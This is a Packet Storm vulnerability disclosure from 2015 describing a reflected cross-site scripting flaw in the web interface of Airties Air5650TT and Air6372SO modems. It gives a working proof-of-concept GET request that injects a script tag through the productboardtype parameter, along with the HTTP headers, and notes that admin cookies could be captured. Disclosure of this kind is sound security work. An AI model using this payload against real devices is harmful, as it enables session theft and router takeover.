Airties Air5650TT Modem Cross Site Scripting

2015-03-20T00:00:00
ID PACKETSTORM:130929
Type packetstorm
Reporter KnocKout
Modified 2015-03-20T00:00:00

Description

                                        
                                            `Airties Air5650TT Modem Web Interface Reflected XSS Vulnerability  
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
[+] Discovered by: KnocKout  
[~] Contact : knockout@e-mail.com.tr  
[~] HomePage : http://h4x0resec.blogspot.com  
Love to = > KedAns-Dz & _UnDeRTaKeR_ & BARCOD3 & Septemb0x & ZoRLu ( milw00rm.com )  
############################################################  
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|~Hardware/Web App : Airties  
|~Affected Version : Air6372SO , Air5650TT  
|~Official Web: http://www.airties.com  
|~RISK : Light  
####################INFO################################  
the same network with a social engineering scenario  
is on the modem manager to do the admin cookies can be captured  
########################################################  
----------------------------------------------------------  
Proof image: http://i.hizliresim.com/RJAXV6.png  
----------------------------------------------------------  
Request  
----------------------------------------------------------  
GET http://192.168.2.1/top.html?productboardtype=%3Ch4%3Eh4%20Here%3C/h4%3E%3Cscript%3Ealert(document.domain)%3C/script%3E   
Request Headers:  
Host[192.168.2.1]  
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Connection[keep-alive]  
Response Headers:  
Content-Type[text/html]  
DLast-Modified[Tue, 10 Jun 2014 12:43:09 GMT]  
Content-Length[4594]  
`